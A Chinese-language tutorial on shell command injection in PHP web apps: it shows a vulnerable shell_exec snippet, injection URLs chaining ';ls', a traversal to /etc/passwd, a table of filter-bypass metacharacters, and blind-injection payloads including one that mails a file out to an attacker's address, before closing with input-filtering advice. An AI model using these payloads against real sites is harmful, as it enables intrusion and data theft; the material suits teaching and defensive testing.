Shell注入(Shell Injection),也被稱為命令注入(Command Injection),雖然不是最經常提及或發現的漏洞,但是危害巨大。
下面展開討論一下shell注入。
通常情況下,Web應用程序會有需要執行shell命令的時候,有可能只是使用Unix sendmail程序發送電子郵件,或運行指定的Perl和C + +程序。從開發的角度來看,這樣做可以減少程序的開發時間。然而,如果數據是通過一個用戶界面傳遞到這些程序中,則攻擊者可能能夠注入shell命令到這些后臺程序。
舉一個簡單的例子:
#!php
<?php
echo shell_exec('cat '.$_GET['filename']);
?>
看起來很好用,我們需要輸出文件內容,直接用cat輸出,比如同目錄下有一個my_great_content.txt文件,那么請求的url就為:
www.mysite.com/viewcontent.php?filename=my_great_content.txt
開發只需要一行代碼,就可以達到期望的功能。
但是不幸的是,這段代碼是不安全的,攻擊者只需要使用一個分號(;)就可以繼續執行其他的命令。
www.mysite.com/viewcontent.php?filename=my_great_content.txt;ls
該頁面除了返回文件內容之外呢,還返回了當前目錄下的文件
實際上這個文件除了shell注入之外,還有目錄遍歷的問題,使用../../etc/passwd
等獲取其他文件內容。
在前面的內容中,我們看到了如何進行命令注入的簡單案例。下面看下shell注入的幾種情況,以及如何進行shell注入。假設一些我們經過分析,已經發現了一個網站有shell注入,那么你將有很多種注入的方式。
前面的例子中,獲取文件名并使用cat命令獲取文本內容輸出,我們可以使用分號(;)分隔進行注入,然而肯定有開發人員意識到此問題了,可能會過濾分號,但是仍有繞過的方式,下面是在shell注入中可能會用的字符,介紹一下:
例如:<,>>,>
這些運算符是把結果輸出到服務器的其他地方,< 是從文件中而不是從鍵盤中讀入命令輸入,可能被用來繞過過濾。>是把結果重定向到文件中,而不是寫在命令提示符窗口中。>>把結果追加到別的文本當中,而不改變原來的內容。
例如:|
管道符可以把一個命令的輸出重定向到下一個命令的輸入,例如
cat file1 | grep "string"
例如:;,,,$
用來結束之前的命令,直接執行新的命令。
例如:$,&&,||
這些運算符用來對數據進行邏輯上的運算
`shell_command` 執行shell_command命令
$(shell_command) 執行shell_command命令
| shell_command 執行shell_command命令并返回結果
|| shell_command 執行shell_command命令并返回結果
; shell_command 執行shell_command命令并返回結果
&& shell_command 執行shell_command命令并返回結果
> target_file 返回結果覆蓋到target_file里
>> target_file 返回結果追加到target_file里
< target_file 把target_file的內容輸入到之前的命令當中
- operator 給目標指令添加額外的參數
主要是尋找你懷疑的某個功能可以是后端用命令來執行的,可以進行簡單的測試,由于操作系統系統可能不同,那么你測試的語句也應該是不一樣的:
(Windows) <normal_input>; dir c:
(Unix) <normal_input>; ls
同時還要注意執行命令可能存在的引號,例如:
#!php
<?php
//sending the input directly. Attack with a string like file.txt;ls
echo shell_exec('cat '.$_GET['command']);
?>
<?php
//input is placed in quotes. You must end the quotes to execute an injection.
//Craft an attack with a string like file.txt";ls
echo shell_exec('cat "'.$_GET['command']).'"';
?>
如果有時候并沒有命令回顯,那么可以用以下方式檢測是否存在盲注:
file.txt;mail [email protected] < file.txt //send an email to yourself
file.txt;ping www.test.com //ping a webserver you have control of
file.txt;echo "test" > test.txt //write the word "test" to test.txt. try opening this file with the browser.
盡管上面說有很多方式進行shell注入,但是可以用幾個簡單的方式進行防御,最主要的是過濾所有用戶輸入的數據,最好是能避免用戶的數據直接進入命令執行當中,如果不可避免,盡量避免(; | &)等符號,最好是用白名單。
如果不能是白名單,PHP當中提供了escapeshellarg和escapeshellcmd兩個函數進行過濾,但這并不能完全保障代碼的安全性。需要具體情況再做相應的濾。